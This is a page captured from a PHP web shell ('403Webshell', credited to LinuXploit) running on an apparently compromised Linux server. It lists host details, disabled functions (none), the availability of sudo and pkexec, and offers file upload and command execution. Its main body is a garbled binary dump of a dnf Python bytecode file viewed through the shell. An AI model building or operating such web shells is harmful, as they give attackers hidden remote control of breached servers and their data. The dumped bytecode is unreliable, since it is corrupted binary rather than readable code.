403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/dnf/db/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/dnf/db/__pycache__/group.cpython-39.opt-1.pyc
a

�!c�<�@s�ddlZddlZddlZddlZddlmZddlm	Z	ddl
Z
Gdd�de�ZGdd�de�Z
Gdd	�d	e�ZGd
d�de�ZdS)�N)�_)�loggerc@sleZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�
PersistorBasecCs"||_i|_i|_i|_i|_dS�N)�history�
_installed�_removed�	_upgraded�_downgraded)�selfr�r�0/usr/lib/python3.9/site-packages/dnf/db/group.py�__init__ s
zPersistorBase.__init__cCs(t|j�t|j�t|j�t|j�Sr)�lenrrr	r
�rrrr
�__len__(szPersistorBase.__len__cCsi|_i|_i|_i|_dSr)rrr	r
rrrr
�clean+szPersistorBase.cleancCst�dSr��NotImplementedError�r�objrrr
�_get_obj_id1szPersistorBase._get_obj_idcCs*|jj�|d|tjj�}|�tjj�dS)N�)r�swdb�addItem�libdnf�transaction�TransactionItemReason_USERZsetStateZTransactionItemState_DONE)r�item�action�tirrr
�_add_to_history4szPersistorBase._add_to_historycCs$||j|�|�<|�|tjj�dSr)rrr!rr�TransactionItemAction_INSTALLrrrr
�install8szPersistorBase.installcCs$||j|�|�<|�|tjj�dSr)rrr!rr�TransactionItemAction_REMOVErrrr
�remove<szPersistorBase.removecCs$||j|�|�<|�|tjj�dSr)r	rr!rr�TransactionItemAction_UPGRADErrrr
�upgrade@szPersistorBase.upgradecCs$||j|�|�<|�|tjj�dSr)r
rr!rr�TransactionItemAction_DOWNGRADErrrr
�	downgradeDszPersistorBase.downgradecCst�dSrr)r�obj_id�name�translated_name�	pkg_typesrrr
�newHszPersistorBase.newcCst�dSrr)rr*rrr
�getKszPersistorBase.getcCst�dSrr�r�patternrrr
�search_by_patternNszPersistorBase.search_by_patternN)�__name__�
__module__�__qualname__rrrrr!r#r%r'r)r.r/r2rrrr
rsrc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�GroupPersistorcCs"|jj��}dd�|D�}t|�S)NcSsg|]}|��r|�qSr)�getCompsGroupItem��.0�irrr
�
<listcomp>V�z+GroupPersistor.__iter__.<locals>.<listcomp>�rr�getItems�iter�r�itemsrrr
�__iter__TszGroupPersistor.__iter__cCs|��Sr)�
getGroupIdrrrr
rYszGroupPersistor._get_obj_idcCsH|jj��}|�|�|dur(|�|�|dur:|�|�|�|�|Sr)rrZcreateCompsGroupItemZ
setGroupId�setName�setTranslatedName�setPackageTypes)rr*r+r,r-�
swdb_grouprrr
r.\s



zGroupPersistor.newcCs"|jj�|�}|sdS|��}|Sr)rrr7)rr*rGrrr
r/fs
zGroupPersistor.getcCs|jj�|�Sr)rrZgetCompsGroupItemsByPatternr0rrr
r2msz GroupPersistor.search_by_patterncCs|jj�|�Sr)rrZgetPackageCompsGroups)r�pkg_namerrr
�get_package_groupspsz!GroupPersistor.get_package_groupscCs�|jj�|dd�}|tjjkr"dSt|�|��}|j�	�D]8\}}|�
�D]&}|��|kr\qJ|��sfqJ|�
|�qJq:|j�	�D]8\}}|�
�D]&}|��|kr�q�|��s�q�|�|�q�q~|r�dSdS)Nr���FT)rr�resolveRPMTransactionItemReasonrrZTransactionItemReason_GROUP�setrIrrAZgetPackages�getName�getInstalledr%r�add)rrH�reasonZpackage_groups�group_id�group�pkgrrr
�is_removable_pkgss*zGroupPersistor.is_removable_pkgN)
r3r4r5rBrr.r/r2rIrTrrrr
r6Rs
r6c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�EnvironmentPersistorcCs"|jj��}dd�|D�}t|�S)NcSsg|]}|��r|�qSr)�getCompsEnvironmentItemr8rrr
r;�r<z1EnvironmentPersistor.__iter__.<locals>.<listcomp>r=r@rrr
rB�szEnvironmentPersistor.__iter__cCs|��Sr)ZgetEnvironmentIdrrrr
r�sz EnvironmentPersistor._get_obj_idcCsH|jj��}|�|�|dur(|�|�|dur:|�|�|�|�|Sr)rrZcreateCompsEnvironmentItemZsetEnvironmentIdrDrErF)rr*r+r,r-�swdb_envrrr
r.�s



zEnvironmentPersistor.newcCs"|jj�|�}|sdS|��}|Sr)rrrV)rr*rWrrr
r/�s
zEnvironmentPersistor.getcCs|jj�|�Sr)rrZ!getCompsEnvironmentItemsByPatternr0rrr
r2�sz&EnvironmentPersistor.search_by_patterncCs|jj�|�Sr)rrZgetCompsGroupEnvironments)rrQrrr
�get_group_environments�sz+EnvironmentPersistor.get_group_environmentscCs�|jj�|�}|sdSt|�|��}|j��D]8\}}|��D]&}|��|krPq>|�	�sZq>|�
|�q>q.|j��D]8\}}|��D]&}|��|kr�q�|�	�s�q�|�|�q�qr|r�dSdS)NFT)
rrRr/rLrXrrAZ	getGroupsrCrNr%rrO)rrQrGZgroup_environmentsZenv_id�envrRrrr
�is_removable_group�s*z'EnvironmentPersistor.is_removable_groupN)
r3r4r5rBrr.r/r2rXrZrrrr
rU�s
rUc@s�eZdZd,dd�Zdd�Zdd�Zdd	�Zd-d
d�Zdd
�Zdd�Z	dd�Z
d.dd�Zd/dd�Zd0dd�Z
d1dd�Zd2dd�Zd3dd�Zd4dd�Zd d!�Zd"d#�Zed$d%��Zed&d'��Zd(d)�Zd*d+�ZdS)5�RPMTransactionNcCs:||_||_|js0z|jj��WnYn0i|_dSr)rrrZinitTransaction�_swdb_ti_pkg)rrrrrr
r�szRPMTransaction.__init__cs8�jr�j��}n�jj��}�fdd�|D�}t|�S)Ncs&g|]}|��rtjj��j|��qSr�Z
getRPMItem�dnfZdbrZRPMTransactionItemWrapperr8rrr
r;�r<z+RPMTransaction.__iter__.<locals>.<listcomp>)rr>rrr?r@rrr
rB�s
zRPMTransaction.__iter__cs8�jr�j��}n�jj��}�fdd�|D�}t|�S)Ncs&g|]}|��rtjj��j|��qSrr]r8rrr
r;�r<z*RPMTransaction.__len__.<locals>.<listcomp>)rr>rrrr@rrr
r�s
zRPMTransaction.__len__cCsP|jj��}|�|j�|�|jp$d�|�|j�|�	|j
�|�|j�|S)Nr)
rrZ
createRPMItemrDr+ZsetEpochZepochZ
setVersion�versionZ
setRelease�releaseZsetArch�arch)rrS�rpm_itemrrr
�_pkg_to_swdb_rpm_item�sz$RPMTransaction._pkg_to_swdb_rpm_itemcCsV|�|�}|�|�}|dur&|�|�}|jj�||||�}|rH|�|�||j|<|Sr)rc�
get_repoid�
get_reasonrrr�
addReplacedByr\)rrSrrP�replaced_byrbZrepoid�resultrrr
r.�s




zRPMTransaction.newcCst|dd�}|r|S|jS)NZ_force_swdb_repoid)�getattrZreponame)rrSrhrrr
rd�szRPMTransaction.get_repoidcCs|jj�|j|jd�S)�Get reason for package���)rrrKr+ra�rrSrrr
reszRPMTransaction.get_reasoncCstj�|�|��S)rj)rrZTransactionItemReasonToStringrerlrrr
�get_reason_nameszRPMTransaction.get_reason_namecCs4|pg}|D]"}|�|tjj�}|r|�|�qdSr)r.rr�TransactionItemAction_OBSOLETEDrf)r�	obsoletedrgZobsr rrr
�_add_obsoleted
s
zRPMTransaction._add_obsoletedcCs6|�|tjj�}|j|tjj|d�}|j||d�dS�N)rg)r.rrr(� TransactionItemAction_DOWNGRADEDrp�rr.�oldro�ti_new�ti_oldrrr
�
add_downgradeszRPMTransaction.add_downgradecCs|�||�dSr)�
add_remove)rrtrPrrr
�	add_eraseszRPMTransaction.add_erasecCs4|durtjj}|�|tjj|�}|j||d�dSrq)rrrr.r"rp)rr.rorPrurrr
�add_installszRPMTransaction.add_installcCs6|�|tjj�}|j|tjj|d�}|j||d�dSrq)r.rr�TransactionItemAction_REINSTALL�!TransactionItemAction_REINSTALLEDrprsrrr
�
add_reinstallszRPMTransaction.add_reinstallcCs"|p
tjj}|�|tjj|�}dSr)rrrr.r$)rrtrPrvrrr
rx$szRPMTransaction.add_removecCs6|�|tjj�}|j|tjj|d�}|j||d�dSrq)r.rrr&�TransactionItemAction_UPGRADEDrprsrrr
�add_upgrade(szRPMTransaction.add_upgradecCs^|jr
dS|jjrdSz.|drB|��sBt�td��|��WdSWntyXYdS0dS)NrZmodularitylabelz\No available modular metadata for modular package '{}', it cannot be installed on the system�)	Z
_from_cmdlineZrepoZmodule_hotfixesZ_is_in_active_modulerZcriticalr�format�
ValueError)r�hdrrSrrr
�_test_fail_safe-s�
zRPMTransaction._test_fail_safecCsLd}|D�]&}�z�|jtjjkrL|jj}||�||j�7}|�||d��n�|jtjjkrl|�	|jj
��n�|jtjjkr�|jj}||�||j�7}|�||d��nJ|jtjjkr�|jj}||�||j�7}|�||d��n|jtjj
kr�|�	|jj
�n�|jtjjk�r6|jj}||�||j�7}|�||�n�|jtjjk�rV|�	|jj
�n�|jtjjk�rv|�	|jj
�nz|jtjjk�r�|jj}||�||j�7}|�||d�n@|jtjjk�r�|�	|jj
�n |jtjjk�r�ntd|j��Wqtj�y.}z tj�td|���WYd}~qd}~00q|�rHtj�td���|S)z!Populate the RPM transaction set.r�ur:z%TransactionItemAction not handled: %szAn rpm exception occurred: %sNz1No available modular metadata for modular package)rrrr(rSZ_headerr�Z
addInstallrrZaddErase�idxr"ZTransactionItemAction_OBSOLETErnr{ZaddReinstallr|r$r&r~Z#TransactionItemAction_REASON_CHANGE�RuntimeError�rpm�errorr^�
exceptions�Errorr)r�tsZmodular_problems�tsir��errr
�_populate_rpm_ts;sR
,zRPMTransaction._populate_rpm_tsc	CsRt�}|D]B}|jtjjvr
z|�|j�Wq
tyJtd|��Yq
0q
|S�Nz*TransactionItem is has no RPM attached: %s)	rLrr^rZFORWARD_ACTIONSrOrS�KeyErrorr��rrhr�rrr
�install_setmszRPMTransaction.install_setc	Cs\t�}|D]L}|jtjjtjjgvr
z|�|j�Wq
t	yTt
d|��Yq
0q
|Sr�)rLrr^rZBACKWARD_ACTIONSrr|rOrSr�r�r�rrr
�
remove_setyszRPMTransaction.remove_setcCs,dd�|jD�}t|�r(td�|dSdS)zj Ensures all the members can be passed to rpm as they are to perform
            the transaction.
        cSsg|]}|jdkr|�qS)�src)ra)r9rSrrr
r;�r<z3RPMTransaction._rpm_limitations.<locals>.<listcomp>z+Will not install a source rpm package (%s).rN)r�rr)rZsrc_installsrrr
�_rpm_limitations�s�zRPMTransaction._rpm_limitationscs�fdd�|D�S)Ncsg|]}|j�kr|�qSr�r)r9r�r�rr
r;�r<z-RPMTransaction._get_items.<locals>.<listcomp>r)rrrr�r
�
_get_items�szRPMTransaction._get_items)N)NN)N)N)N)NN)N)N)N)r3r4r5rrBrrcr.rdrermrprwryrzr}rxrr�r��propertyr�r�r�r�rrrr
r[�s.
		







2


r[)Zlibdnf.transactionrZdnf.db.historyr^Zdnf.transactionZdnf.exceptionsZdnf.i18nrZdnf.utilrr��objectrr6rUr[rrrr
�<module>s3<<

Youez - 2016 - github.com/yon3zu
LinuXploit